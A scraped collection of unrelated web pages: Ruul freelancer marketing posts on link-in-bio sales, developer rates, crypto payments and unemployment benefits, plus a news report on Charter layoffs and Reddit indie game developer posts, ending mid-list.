Mert Bulut 5 min read RUUL FOR INDEPENDENCE You chose independence.We make sure you keep it. Sell your time, your talent, whatever you create or build always on your terms. Get started See Example This is also a heading This is a heading Key Points Link-in-bio tools turn your social profile into a sales-ready service page. A well-structured link reduces friction and increases the chance of getting paid instantly. Optimizing your link means more conversions at the moment of interest. Ruul Space allows freelancers to sell services with global compliance and 1-click checkout. Link-in-bio tools have evolved into simple yet powerful sales engines. With the right setup, one link becomes your storefront, checkout, and invoice system all in one. For freelancers, it means skipping the middlemen, ditching monthly fees, and turning attention into income. Whether you’re a freelance writer, coach, developer, or any type of independent professional, that single link can now do the heavy lifting of your freelance business. Start selling your services today—set up your Ruul Space in minutes and turn your bio into a checkout. Your bio is the new checkout It’s easy to lose a client between the point of 'Tell me more' and 'Here’s how you pay.' That’s where link-in-bio tools flip the script. With a single tap, your potential clients can see exactly what you offer, how much it costs, and how to buy it—right there, on the spot. Your link-in-bio page bridges the gap between attention and transaction, and reduces friction where it matters most: at the moment of interest. When a client finds you and wants to take action, a single well-placed link can guide them directly to your services —clearly laid out, easy to buy, and ready to go. That clarity and accessibility are what turn interest into income. Real-world use case examples A designer sharing a link-in-bio that leads to a sleek, service-focused portfolio —complete with visual packages and direct purchase options, eliminating the need for back-and-forth. A consultant combining a scheduling tool like Calendly with a link-in-bio payment option, creating a smooth experience from booking to billing. A copywriter using their bio link to display packaged offerings—like blog posts or content audits—ready for instant checkout without needing a conversation first. Best practices to use link-in-bio to sell as a freelancer Not all link-in-bio pages are created equal. If you want your link to actually drive business , it needs to be more than a list of your socials—it should actively guide visitors to book or buy. Here’s what helps: Use visuals to explain what you do at a glance Clear, relevant visuals help clients instantly understand the type of work you do and the style you bring. Whether it's product mockups, service icons, or screenshots of past projects, strong images stop the scroll and build trust quickly. Note: Images alone drive 25% of clicks, and videos account for 28%. Group services into packages or tiers to give options Instead of listing services individually, group them into packages or price tiers that make decision-making easier . Think "Starter," "Pro," and "Custom." This gives clients clarity and makes your offerings feel more professional. Use embedded videos or testimonials to build trust Video introductions, service explainers, or short client testimonials help humanize your offering. A face or voice adds credibility and increases the likelihood that someone will take the next step. Keep the layout mobile-friendly and distraction-free Most link-in-bio clicks come from mobile. Make sure your content loads fast, is easy to read, and guides users with minimal taps. Avoid clutter that competes with your call to action. Make pricing and calls to action clear—no guesswork Don’t make clients wonder what’s next. Display your prices (or at least starting rates) and use direct CTAs like “Book Now” or “Buy This Service.” Friction kills momentum—clarity keeps it going. When structured intentionally, a link-in-bio becomes a sales engine—driving client decisions at the point of interest. Strategize how to distribute your link-in-bio Where you place your link is just as important as what’s on it. Don’t limit it to just your Instagram profile. Include it in your Twitter bio, LinkedIn summary, email signature, and even inside PDFs or proposals you send. Every client interaction is a sales opportunity—make sure your link is visible wherever clients engage with you. The more consistently you share it, the more chances you create for discovery and conversion. How to optimize link-in-bio for conversions? Without clear structure and intention, you risk losing potential clients at the very moment they’re most interested. Optimizing this space means designing it to guide a visitor’s attention, spark action, and simplify the decision to work with you. It's about making sure your services are seen, understood, and easily purchased—all in a few taps. Incorporate Visual Elements: Images and videos can significantly increase engagement, as we just mentioned. Add Your Best Work: Choose pieces that reflect your style, results, or most in-demand services. Treat this section like your storefront window—only your best, most relevant samples should be featured. Clear Call-to-Actions (CTAs): Use compelling CTAs like “Request a Quote,” “Book a Free Call,” or “Order a Design Package” to guide users. Regular Updates: Keep your content fresh by updating links to reflect your latest offerings or content. What features to look for in a link-in-bio tool Some freelancers prioritize simplicity and quick setup. Others need features like integrated payments, customization, or analytics. There are tools made for creators, coaches, consultants, and everything in between. So before picking one, think about how your clients engage with you and what’s most important to streamline that journey.

Ruul Space is built specifically for freelancers, combining a service portfolio, pricing display, and one-click checkout—all supported by global payout and compliance. Linktree is widely used for its simplicity and analytics. Koji offers extensive customization and mini-app integrations. Campsite provides a user-friendly interface with branding options. Lnk.Bio is known for its straightforward setup and clean design. Should I use a link-in-bio tool or build my own website? Link-in-bio tools are great for quick setup and require no technical skills. They help direct social media followers, newsletter subscribers, advertising audiences and more to your services, portfolio, or booking links in seconds. If you want more control and long-term branding, consider building a website—but for many freelancers, starting with a link-in-bio is faster and more practical. How do I choose the right link-in-bio tool for my needs? Consider your goals: If you're a freelancer looking to sell services directly and get paid quickly , Ruul Space is a strong choice—offering integrated checkout, portfolio features, and global payout support. If you need e-commerce features, tools like Koji or Linkpop are suitable. For simplicity and ease of use, Linktree or Lnk.Bio are good options. Ruul is positioning itself as a budget-friendly, transparent platform where you can easily create a customizable online presence, track performance, and integrate with other tools—all without paying monthly fees. A commission is only charged when a transaction is made. Can I use multiple link-in-bio tools on one account? While platforms like Instagram allow only one link in your bio, you can use services that aggregate multiple links into a single page. However, using multiple link-in-bio tools simultaneously on the same account can be redundant and may confuse your audience. It's best to choose one tool that fits your needs and customize it accordingly.

Sell your time, your talent, whatever you create or build always on your terms. Get started See Example This is also a heading This is a heading Key Points If you don’t have time, here’s the gist: Hourly rates range wildly from $10 to $300. Not helpful info. Rather, annoying, I know. But we will talk about it. Western countries often average $70+ per hour. OK, we're getting a bit more specific. BUT, low-rate countries help you grow a portfolio fast. AND, going global can double your income in one move. Niche skills instantly push you into higher tiers. AI, blockchain, and cybersecurity pay 40%+ above average. Ruul is an MoR that takes a lot of responsibilities from you regarding the invoicing and taxation (with only 5% commission). Check it out. Full details are below. Hello, dear freelance developer! Are you a beginner or an experienced one who seeks ways to boost income? No matter what, let’s talk about the freelance developer rates. Because everyone talks about it, saying nothing solid about it. I will try to be specific and practical here. If you're ready, let's take a deep dive into freelance developer rates in 2025. Let's get started! Freelance developer rates by experience level Worldwide, freelance developers' rates can range from $10 to $300 per hour . This difference is due to factors such as experience, country, role, and complexity of the project. But I will not put this useless info on the table and leave. Let’s see how you can use this wide range. As a beginner, these numbers can show you where you need to position yourself. For clients, it's a quick way to gauge what kind of specialist you can hire with your budget. These rates are not set in stone. Niche skills, urgent deadlines, or a strong track record can push you to a higher level (or beyond). You’ll learn more realistic rates in a moment. We'll analyze developer rates on freelance platforms and in different geographies. The quick way to find out your hourly rate Want to quickly find out your average hourly earnings? Let Ruul’s freelance hourly rate calculator help you. Currency (euro, USD, lira, etc.) Living expenses (rent, travel, loans) Others (taxes, working hours, holidays) And see the result instantly. An easy-to-use tool. Any freelancer confused about their rates can use it for free. ( Click and learn. ) Freelance developer fees according to project size If you're a freelancer or a client thinking about working on a project basis, it's hard to give a definite cost. That's because the price can go anywhere from three figures to five figures. So, take these numbers as approximations. The final cost will always depend on the exact features, deadlines, and what you're expecting. Small projects: Simple websites, small mobile apps, or mini-tools that solve a very specific problem can cost around $500 to $5,000. Medium projects: This is where things get serious. E-commerce sites, full-featured web and mobile apps might require a budget of around $5,000 to $50,000. Large projects: Custom solutions like ERP systems, AI platforms, or applications for sectors like finance and healthcare typically cost $50,000 and up. If you’re a developer, use these ranges to know what to charge without underselling yourself. If you’re hiring, they’ll help you set a realistic budget. Developer rates on freelance platforms Thinking about taking the plunge into freelancing? Or maybe you're already there and wondering if you're charging the right rate. Either way, here's what the numbers actually look like when you work on big platforms like Upwork, and here's the answer. Let's start with Upwork! 1. Freelance developer rates on Upwork On Upwork, one of the most popular freelancing platforms , the hourly rate for freelance software developer rates ranges from $10 to $100. This varies depending on the industry you serve, your skills, experience, and client reviews. Source Again on Upwork, the hourly rate for freelance web developer rates from $15 to $50. This clearly shows how much wages can vary depending on the developer role. Source Rates for more specific developer jobs on Upwork: Web developers: $15-$50/hour Mobile app developers: $18-$39/hour Android developers: $15-$35/hour IOS developers: $16-$35/hour Game developers: $15-$35/hour Artificial intelligence engineers: $35-$60/hour Blockchain developers: $30-$59/hour Specialized developer skills, such as AI and blockchain, generally merit higher wages. Fees for general roles fall in the middle. If you’re a dev, use this as a benchmark to set your hourly rates (and maybe push them higher if you’ve got rare skills). If you’re hiring, expect to pay more for niche expertise. 2. Freelance developer rates on Freelancer.com Freelancer.com is a popular job board for developers with a high volume of work. And that competition drives rates way down compared to places like Upwork. I checked it out for you, and here’s what I found. Many developers here are from countries with a lower cost of living, like India, and they’re willing to work for as little as $8/hour. Even top-rated developers often charge $15-$30/hour, which is well below the global average. If you’re a developer, that can feel discouraging. But there’s a workaround. Instead of competing on hourly rates, you can try selling project-based packages. I’ve seen offers like: Website design in 7 days | $540 1-day app design | $100 Website in 1 day | $430 If you work fast and deliver high quality, packages can help you earn more without getting trapped in the low-hourly-rate game. 3. Freelance developer rates on Fiverr If this is your first time using Fiverr, here's the bottom line: there is no hourly work here. There are only service packages. They create a package, set the price and the customer either buys it or moves on to something else. The developer categories are incredibly broad. More than 50 different roles are listed in this area alone. And the price range? There is a service for everyone. I've seen packages as cheap as $5 and as expensive as $1,500. In the Android app developer category, for example, there was a $3,966 package right next to a $91 package. And both are making sales. What matters here is how you position your offer and how you demonstrate the value you provide. Now let's look at a platform in the premium segment. 4. Freelance developer rates on Toptal Toptal is like a VIP job board for freelance developers . They only accept the top 3% of developers. So if you get in here, you are already playing in the first league. The customers here know that they are paying more and they have no problem with that. The rates are not clear on Toptal. But I did some research and found that they usually start at $60 per hour and can go up to $150 per hour, which is already higher than most platforms like Upwork or Fiverr . Enter this information: I got these rates from freelancing platforms, where freelancers usually charge lower rates. If you have your own private clients and are in high-wage countries, you can probably charge higher rates. The effect of geography on developer rates Where you live (or where your client lives) can make a huge difference in what you earn or pay. But you can use geography to your advantage. Whether you’re the one writing the code or the one paying for it. Some countries pay more. The Index.dev's June 2025 report mentions a clear difference between Western and Eastern markets. For example, in North America (the US and Canada), AI/ML, cloud, or cybersecurity experts earn $80-140 per hour. That's a high rate by anyone's standards. According to the survey, Europe also ranks high. In the UK, developers typically earn $75-95 per hour, in Germany it's $70-85, and in Switzerland it's $90-120 per hour. If you are a freelancer, you don't need to move to these countries to benefit from high rates. You just need to find clients there. That's the glory of freelancing. Take a look at the data from the Arc.dev 2025 survey (with 5302 people). Source 1. Australia, Switzerland, and the US Lead the Pack I would like to evaluate this survey a little bit. Australia ranked first with an average of $74/hour . Switzerland is right behind with $73/hour , and the US is in third place with $70/hour . Interestingly, this ranking is not just due to sample size. In fact, only 91 people from Australia participated in the survey, compared to 1,883 developers from the US. Still, Australia came out on top. Not what you expected, right? Other countries in the ranking, such as France, Sweden, Lebanon, Ireland, and the United Kingdom, pay $60-67 per hour. These are still solid wages, especially when compared to the global average. 2. Lowest developer rates: Pakistan, Ukraine, and India Let's look at the countries at the bottom of the ranking, which have the lowest wages. Again, we will continue with reference to the Arc.dev survey. Source Which countries have the lowest freelance developer rates: Pakistan: 43 $/hour Ukraine: $44/hour India: $46/hour You probably won't be happy working in these markets as an experienced developer. But there is a clever way to use this to your advantage as a beginner developer. When you work for less, you get more work. This means you can grow your portfolio quickly as a beginner. Then, as your experience grows, you can move into higher-paying markets. 3. Why do developer rates change so much by country Could the countries with the highest and lowest prices lead us down the path of strategy? Let me tell you. There is no mystery here. First, the cost of living is an important factor. All freelance salaries are affected by the cost of living, not just developer fees. Rates are naturally higher where everyday life is expensive, such as in Switzerland or Norway. In countries where costs are lower, such as India or Ukraine, rates fall. So obviously, low wages are not caused by low skill levels. Of course, there is also the game of supply and demand. In developed economies, there is often a shortage of qualified developers, which drives up prices. In other countries, the talent pool exceeds demand, which keeps prices low. Specialization is another important factor. If you work in popular areas like AI, cybersecurity or blockchain, you have the potential to earn 40-60% more than the average developer in your country. 4. Convert geographic variables to your advantage How do you turn geographical price changes to your advantage as a freelancer or client? Let's take a closer look; maybe this will enlighten you. Clients who want to hire freelance developers can hire developers from the Far East and Eastern Europe to reduce their costs. For example, a US company can reduce total fees by up to 30-35% by hiring developers from Eastern Europe. This is where geographically varying developer prices become an advantage (for customers). Conversely, freelancers can also position themselves by targeting the international market. For example, a developer in Turkey may be able to charge a much higher hourly rate by targeting projects in the US or EU market. Having niche skills ( e.g., artificial intelligence, cybersecurity, cloud architecture ) is also a way to increase fees. If you want your global revenue to grow, don’t waste time on invoicing or taxes. Ruul handles the whole process for you, sending invoices in 190 countries, getting paid in 140+ currencies, staying tax-compliant, and speeding up payments. Which developer roles pay the highest? Some roles can lead to higher rates . Put simply, a software developer usually earns more than a web developer. The reason is that software development requires more education, as well as technical skills and expertise. Now, let's take a look at some of the highest-paying developer roles, including some new ones. 1. Artificial Intelligence / Machine Learning (AI/ML) Engineering This newer, niche role requires expertise in tools like Python , TensorFlow , and PyTorch , along with a strong background in statistics and data science. On Upwork, freelance AI engineers can earn between $35–$60 per hour , while other freelance engineers might earn $50–$200 per hour . 2. Cybersecurity Engineering This isn't a new role, but the demand for cybersecurity is on the rise. On Upwork, cybersecurity engineers typically charge between $40–$90 per hour. 3. Blockchain Development Blockchain technology is another new and promising field, which means blockchain developers can expect to earn higher rates now and in the future. Freelancers on Upwork typically earn between $30–$59 per hour. But if you have a strong grasp of Solidity, Rust, smart contracts, and crypto security, you can likely earn even more. 4. Cloud Computing and DevOps The average cloud computing engineer earns about $62 per hour. However, developers who are proficient in cloud platforms like AWS, Google Cloud, and Azure, as well as DevOps tools, can command even higher rates. 5. Data Science / Data Engineering Professionals in data analysis, big data, and machine learning are also well-paid. According to sources, data scientists earn around $55 per hour. The most sought-after tech skills in this field include knowledge of Python, R, SQL, statistics, and machine learning libraries. New trends in freelance developer rates The rates of freelance developers have changed drastically over the years. One bias here is that most people think that developer rates are going down. On the contrary, freelance developers' rates are actually increasing instead of decreasing. Let me tell you about a few data points. According to Index.dev , the global average for freelance developers is currently $101 per hour. This is about 80% higher than the wages discussed in 2020. This increase is mainly due to general inflation and an increase in demand for software. But the impact of AI is also being felt. Brookings Institution found that since the rise of AI, freelancers have seen a 2% drop in the number of contracts and a 5% decrease in their total income. Lower than predicted. The reason for this decline could be the following: Because some customers use AI for simple and routine coding tasks. This leads to some trimming of developers' tasks. Accordingly, the fees may decrease slightly. On the other hand, demand for AI/ML, data, and cloud expertise is growing rapidly. The Index.dev study also noted that AI/ML, cybersecurity, and blockchain developers earn 40-60% more than other general software developers. Finally, I cannot fail to mention the positive finding. According to FullStack's 2025 report , while AI-powered coding tools increase developers' productivity, they do not directly reduce hourly rates. Instead, they only help reduce overall project costs. Get paid like a global pro with Ruul! You have learned how geography can affect (or increase) your revenue. So why limit yourself to the local market? Even if you live in a country with low developer wages, like India or Ukraine, you can work with clients in Australia, Switzerland or the US and earn $74 an hour instead of $43. This means almost doubling the price without writing a single line of extra code. The hard part: Different countries mean different VAT rules, currencies, and legal hoops. And honestly, that admin work is enough to make you want to crawl under your desk and never come out. That’s exactly why Ruul exists. To make going global ridiculously easy. With Ruul, you can: Send invoices to clients in 190 countries Get paid in 140+ currencies (yes, even crypto) Stay VAT compliant without memorizing tax laws Receive payments in as little as one day Work with clients who don’t even need a Ruul account All that for just 5% commission per invoice.

Sell your time, your talent, whatever you create or build always on your terms. Get started See Example This is also a heading This is a heading Key Points Cryptocurrency has been in the news for a long time. But what exactly is cryptocurrency? Basically, it is a currency that has no physical existence and is only present in digital space. You can only transfer it from one computer to the other. It started with one or two cryptocurrencies initially, but now the scenario is completely different. Surprisingly, according to the Crypto Market Sizing Report 2023, there are more than 580 million crypto users worldwide. So, what are you waiting for? This is the best time for you to embrace this modern currency; no matter if you are a businessman or just an individual freelancer. Accepting crypto payments enables you to have faster and more cost-effective transactions. Also, it opens up new business avenues and increases sales for you. However, still, there are many businesses and individuals who are unaware of the tools and technologies of this payment system. So, here, we explain everything regarding cryptocurrency payments, legal considerations, tax implications, and also share some important tips. Introduction to Cryptocurrency Payments Transactions that are done through cryptocurrency are cryptocurrency payments. When crypto came into picture, the popular currencies were Bitcoin and Ethereum. However, to your surprise, today, more than 9000 cryptocurrencies are active in the market. To initiate a cryptocurrency payment, you will need a gateway to facilitate transactions. First of all, the client initiates the payment by paying you the said amount based on the particular cryptocurrency’s fair market value. The cryptocurrency payment service then converts this payment into your desired currency. Once converted, the payment gateway provider adds this money to your bank account. However, if you want to accept your money in the form of cryptocurrency, you can accept it in your personal wallet. Which approach suits you best depends on your business requirements. You can validate and ensure your transaction based on the information encoded in the crypto. A digital ledger, also known as blockchain, records all transactions. So, all in all, you need not worry about managing digital currencies. Also, the process is quite convenient and transparent. Benefits of Accepting Cryptocurrency Are you still skeptical about accepting these digital tokens as your payment? Don’t be; because, here, we share with you the key benefits of accepting cryptocurrency payments. Faster transactions Unlike traditional payment systems, cryptocurrency transactions are very fast as they do not involve intermediaries like banks, brokers, or clearinghouses. Due to its decentralized nature, a crypto transaction takes only 30 minutes to two hours. As the waiting period reduces, both businesses and customers become more efficient. Lesser transaction fees As there are no intermediaries in crypto transactions, you save on paying unnecessary processing fees charged by them. Due to the absence of third parties, the transaction fees in crypto payments are always lower than those in traditional payment systems. Better security The blockchain technology of cryptocurrency enhances the interiority of transactions with its intricate encryption. It’s impossible to alter or manipulate any crypto records. Also, as a crypto owner, you can keep your funds safely in digital wallets which are not accessible without the specific key. As a result, fraud incidents are lesser in crypto transactions, making them accountable and transparent. No chargebacks Generally, businesses have to bear chargebacks when they get into some kind of legal dispute. However, as there is no central authority in crypto transactions, Crypto payment does not involve any central authority; it always happens directly between a business and its customer, and there are no chances of chargebacks. Easier cross-border payments If your business has a global clientele, you need to go through different exchange rates and bank fees. However, you can use cryptocurrency worldwide without any third-party involvement, making cryptocurrency payments easier and affordable to accept. Setting up Cryptocurrency Payment Methods Wondering, how to accept cryptocurrency as a business? Here are some steps that make it clear how to accept crypto payments. 1. Understand the payment gateways or wallets of cryptocurrency There are two ways in which you can accept a crypto payment: payment gateways or cryptocurrency wallets. So, which crypto payment methods do you want to choose? A crypto wallet is a digital wallet where you can hold cryptocurrencies for an indefinite time without converting them to fiat currencies. On the contrary, a crypto payment gateway is an intermediary in your transaction. With this gateway, you can accept the cryptocurrency and get fiat currency in return in your bank account. By far, this is the best way to accept crypto payments. The cryptocurrency payment services allow you to process transactions more easily and quickly. 2. Choosing a payment platform While choosing your payment platform, keep in mind security aspects, transaction fees and supported cryptocurrencies. Always make sure that you are picking a reliable and secure provider. 3. Create your account Once you have selected your payment gateway, register yourself there. You may need to mention some business details for initial registration. 4. Select the crypto As already said, there are almost 9000 cryptocurrencies in the market. However, not all have worldwide acceptance. So, it’s better to be careful while choosing your cryptocurrency keeping in mind market preferences and popularity. Also, you need to see whether the cryptocurrency aligns with your business needs and values. Some of the popular cryptocurrencies include Bitcoin, Ethereum, Ripple, Binance, Tether and Solana. 5. Integrate the payment gateway Now, your gateway provider will instruct you to integrate the gateway software with your checkout page. The integration also depends on which platform you are using the gateway (in-store, website or mobile app). The instruction steps are available in APIs or plugins. 6. Test the transaction Before you go live, verify everything through a test transaction. Check if the payments are converted into fiat currencies and deposited in your accounts. 7. Create a payment policy Lastly, make sure to create a comprehensive policy detailing clauses for returns, refunds and volatility in cryptocurrency. Tips for Smooth Transactions If you know the small tips and tricks of crypto transactions, accepting payments becomes a lot easier. Here are some tips that help you execute crypto transactions smoothly. Be a part of the reputed crypto community so that you can share your experiences and learn from them. Grab the opportunity of crypto presales. If you invest early, you get better returns. Joining a crypto signal group helps you know trade setups and recommendations from worldwide traders. It is always good to practice payments on a demo account to understand the nitty-gritty of trading. Global events and changing economic trends influence crypto markets. So, keep an eye out for them. Before starting crypto payments, make yourself comfortable with the technology to make informed decisions. Utilizing trading bots is also a good idea as they always process transactions based on pre-set rules, reducing the chances of human error. Make a clear trading strategy and stick to it as closely as possible. Security Considerations in Crypto Payments Crypto security is of paramount importance when it comes to accepting crypto payments. So, let’s discuss some key security considerations to ensure safe transactions. There is a private key that allows you to access funds. Make sure that you create a strong and difficult key and always keep that key offline. Never put it on the internet. If possible, diversify your wallet by maintaining multiple wallets to store funds. Research is essential when it comes to crypto payments. Choose a reputed crypto exchange based on its security measures, past record and transparency in practices. If you forget your password or lose seed phrases, you can lose your funds permanently. Keep your wallet devices and software safe and secure. Always verify the receiver's address before sending or receiving cryptocurrency. Mistakenly done transactions are irreversible. Try to keep a backup of your wallet data to avoid data loss. Beware of fraudulent websites. Keep yourself updated with the news and changing practices of the crypto world. Avoid entering your wallet through public Wi-Fi. Legal and Tax Implications You must know that while cryptos are not considered legal tender by the US government, crypto transactions are treated as valid. Although regulations considering crypto exchange also vary state by state, by and large transactions of cryptocurrency are considered legal. The IRS considers crypto transactions to be an exchange of value. These exchanges are thus taxed as well. If you accept cryptocurrency as a payment in the course of your business, then it will attract taxes just like any other business income. You have to report such business income, earned in the form of cryptocurrency, to the IRS. As per federal regulations, cryptocurrency is similar to property. If you have a cryptocurrency and you hold it for some period and its value gets appreciated, then you have to pay capital gain tax on increased value as well. The rate of tax will depend on the holding period and your overall taxable income. Simply put, if you earn any further gain or profit from the cryptocurrency, it is taxable. You have to report your cryptocurrency transactions in Form 1040. If you don’t report them in time, you may be fined and sometimes slapped with criminal charges. In the near future, we can expect a comprehensive regulatory framework from the US government that considers cryptos. In Conclusion Accepting crypto payments opens doors for you to connect to a larger and more tech-savvy customer base. Follow this guide to set up your payment gateway and make your business ready to flourish in this digital economy. But remember, keep yourself updated with the changing rules and regulations for a complaint payment practice.

Sales and service roles are not affected. Written by Kaustubh Saini Edited by Jaya Muvania Reviewed by Kaivan Dave Updated on Oct 21, 2025 Read time 4 Min Read Comments https://www.finalroundai.com/blog/charter-communications-layoffs-2025 Link copied! Charter Communications, one of the largest cable and internet providers in the U.S., is laying off close to 1,200 employees. This move affects just over 1% of the company's 95,000-person workforce and is focused on corporate management positions. Sales and service jobs will not be impacted, according to a source familiar with the matter. What Happened? The layoffs are part of Charter's plan to simplify its corporate structure and make the company run more efficiently. The company has not made a public announcement about the job cuts, but the news was first reported by The Wall Street Journal on October 21, 2025. The cuts mainly affect corporate and back-office roles at Charter's Stamford, Connecticut headquarters and other corporate locations. Charter is not alone in making these changes. Other big names in the media and cable industry have also announced job cuts recently as they try to centralize operations and respond to industry changes. Paramount is expected to lay off approximately 2,000 employees starting the week of October 27, 2025, following its merger with Skydance Media. Meanwhile, Comcast has been cutting jobs across its operations, with NBC News eliminating 150 positions in mid-October 2025 as the company prepares to spin off its cable networks business, as reported by Axios. Why is Charter Cutting Jobs? Charter is facing tough competition from telecom companies that offer bundled internet and 5G mobile plans. According to Charter's second quarter 2025 earnings report released July 25, 2025, the company lost 117,000 internet customers in the second quarter and 60,000 in the first quarter. The company's video service also lost 80,000 customers in Q2 2025 , though this represented its best video customer retention quarter since 2021. At the same time, Charter added 500,000 mobile lines in the second quarter, positioning itself as the fastest-growing mobile provider in the United States. However, this growth was below what Wall Street analysts had expected. Charter reported total revenue of $13.8 billion in Q2 2025, representing just 0.6% year-over-year growth, according to the company's official investor relations disclosure (July 25, 2025). The broader cable industry is struggling with significant subscriber losses. According to industry data, traditional cable TV households have declined from 90.3 million in 2018 to an estimated 69 million by 2025 , while cord-cutting households more than doubled from 37.3 million to 77.2 million during the same period, based on research by CableCompare (2025). Cable TV penetration rates have plummeted from over 80% in 2011 to just 34.4% as of 2025, according to CordCuttersNews. To stay competitive, Charter is working on a $21.9 billion deal to acquire Cox Communications. If successful, this would make Charter the largest cable TV and broadband provider in the U.S. The transaction, announced in May 2025 , values Cox Communications at an enterprise value of approximately $34.5 billion and would give Cox Enterprises approximately 23% ownership of the combined company. The company is also partnering with Comcast to launch a new mobile service for business customers using T-Mobile's 5G network, with a commercial launch planned for 2026. This partnership was announced on July 22, 2025 , and will leverage T-Mobile's network through a long-term Mobile Virtual Network Operator (MVNO) agreement to deliver business-focused wireless services under the Spectrum Mobile for Business brand. Who is Affected? The layoffs are limited to corporate management roles. Employees in sales and customer service will not be affected by this round of cuts. This aligns with Charter's strategy to maintain its 100% U.S.-based customer service model, which the company has positioned as a competitive advantage. What's Next? Charter's restructuring is part of a larger trend in the industry. As the company moves forward with its acquisition plans and new partnerships, more changes could be on the way for its workforce and business strategy. The Cox Communications acquisition still requires regulatory and shareholder approval, with closing expected to occur alongside Charter's previously announced merger with Liberty Broadband. Once the Cox deal closes, the combined company plans to change its name to Cox Communications while using Spectrum as its consumer-facing brand. Upgrade your resume!

Not great, but ok. It's a difficult puzzle game, similar to NotPr0n , so I gave the players a hint system. During gameplay, you read notes and letters written by a woman called Sarah, who gives you missions. And whenever you get stuck, you can actually just email her regular Gmail adress using your own email. Based on keywords, "Sarah" will respond with a canned message to guide the player. I liked the idea and it worked surprisingly well. Whenever I checked the inbox, there was always someone who really thought they were talking to an actual human. But then something happened. The reviews got lower and lower, and now the game has a mixed status. People were saying it was way too difficult. So, today I checked Sarah's inbox again. Turns out people don't know how to write emails anymore. The whole message is sent in the subject box, leaving the actual email empty. Because of that, no keywords were found, and no hint message from Sarah was sent out. Just found it a bit interesting! You never know what may cause your game to tank. Expedition 33 devs attempts to join the indie scene are harmful :first-child]:h-full [&>:first-child]:w-full [&>:first-child]:mb-0 [&>:first-child]:rounded-[inherit] h-full w-full [&>:first-child]:overflow-hidden [&>:first-child]:max-h-full"> u/Suvitruf • Expedition 33 devs attempts to join the indie scene are harmful Discussion I don't want this post to look like hate, especially after the TGA, but I think it's important to talk studios attempts to stick into the indie scene. It's actually hurts indie itself. Note: I played the game and I like it. And the devs are great for managing to build something like this, but... For the last few months there’s been constant praise of the people from Sandfall Interactive. I have no problem with that. The nuances appear when people start trying to turn this into a "lesson" or draw wrong conclusions from it. For example: "Wow, a team of about 30 people made this game!". This has already been discussed a bunch of times. A lot of key people in terms of art and animation were outsourced. Pretending they don't exist is...questionable. "They're true indie, they even recruited the team on Reddit!". Only 2 persons on the team came from Reddit. "They've got a small indie publisher, Kepler Interactive". Yeah, if you conveniently forget at least $120 million in investment from NetEase. The recent nonsense about how they "learned to code from YouTube" isn’t even worth commenting on. "Their budget is only 10 million!". Well...that's because they didn't include actor fees in that number, since "the publisher covered that part" (and some other things). Handy, huh? I don't understand why they're playing this game of half-truths and omissions, given that people already like them without all that. We released a game on Steam in September. It got streamed a lot, but sales were terrible. Looking for feedback. u/ebibitter_steam • We released a game on Steam in September. It got streamed a lot, but sales were terrible. Looking for feedback. Discussion Hi, I’m part of a small indie team. We released our game on Steam this September. While it was streamed by many well-known creators in Japan, and even a few overseas, sales were far below our expectations. Despite the exposure, the conversion to sales was extremely low. Roughly speaking, around 10k views resulted in about $70–80 in revenue. As we reflect on this release and plan our next project, we’ve been discussing what we might have done wrong. Here are the main hypotheses we’re considering: We launched with very few wishlists (~700), so we likely didn’t benefit from Steam’s algorithm at all. If we were aiming for something like 100k sales, was it unrealistic not to have a similar scale of wishlists at launch? We used Steam Next Fest mainly as a way to validate our core concept (a 2-player-only co-op game). In hindsight, should this kind of validation have been done through closed playtests instead, and Next Fest used only for a near-finished demo? Does Steam Next Fest have very limited impact if you enter it with almost no wishlists? We participated with only ~200 wishlists. Should Next Fest ideally be something you join when you already have strong momentum? For those with more experience: - Do these assumptions sound reasonable? - Which of these mistakes do you think mattered the most? - What would you prioritize differently for a next release? We’re trying to learn as much as possible from this, as we really want to do better with our next game. Any honest feedback would be greatly appreciated.

Find out about eligibility and how to claim. Mert Bulut 5 min read RUUL FOR INDEPENDENCE You chose independence.We make sure you keep it. Sell your time, your talent, whatever you create or build always on your terms. Get started See Example This is also a heading This is a heading Key Points Self-employed people can receive unemployment benefits. Thanks to the CARES Act, freelancers, independents, and small business owners can receive unemployment benefits. Documents required for application: Proof of citizenship, work history for the last 18 months, reason for leaving work. Application stages: Prepare your documents, apply online, and receive payments. Different unemployment benefits: CARES Act, PPP, Freelancers' Relief Fund, and other programs. First payment: You can receive payment 2-3 weeks after application. Unemployment benefits for freelancers who become unemployed have been a hot topic in recent years. The big question is: Can self-employed get unemployment benefits? Good news—YES. Thanks to the CARES Act, self-employed professionals are now eligible. Of course, there’s a process to follow and a few conditions to meet. In this guide, we’ll break down the 3 simple steps to help you apply for unemployment benefits without feeling overwhelmed. Ready? Let’s see! Can self-employed file for unemployment? Earlier, people who identified themselves as self-employed couldn’t collect unemployment benefits–until the US Congress passed the $2.2 trillion CARES Act in March 2020 due to the COVID-19 pandemic. This law went down in history as the largest financial rescue package in US history. Currently, self-employed people can now receive unemployment benefits if they can prove that their income has been affected by the crisis. So what are the qualifications to apply for unemployment benefits? These and other questions abound among self-employed people now seeking crisis relief. Who is defined as self-employed? First of all, we should define who can be considered as a self-employed worker. Let’s learn more about if you are eligible for unemployment for self-employed. The IRS defines self-employed professionals as follows: If you carry on a trade or business as an independent contractor or a sole proprietor (With the extended CARES Act, freelancers and sole proprietors can apply for independent contractor unemployment benefits) If you are a member of a partnership of a trade or business If you are doing a business for yourself, including a part-time business Check your eligibility For a practical eligibility check, use the CareerOneStop website sponsored by the US Department of Labour. On this site, you will find information about unemployment insurance in each state and application forms. Types of unemployment benefits for self-employed We have given below the types of self-employed unemployment benefits designed for different situations. 1. CARES Act Unemployment benefits are now available to Americans who have lost work because of the COVID-19 crisis—including independent professionals, contractors, and other self-employed workers. If you apply for unemployment for the self-employed, get more information about the CARES Act. 2. Paycheck Protection Program (PPP) The Paycheck Protection Program is a loan planned to provide an immediate incentive for small businesses to retain their payroll workers. If you need more information or have questions about your eligibility, you can learn more about the Paycheck Protection Program here . 3.

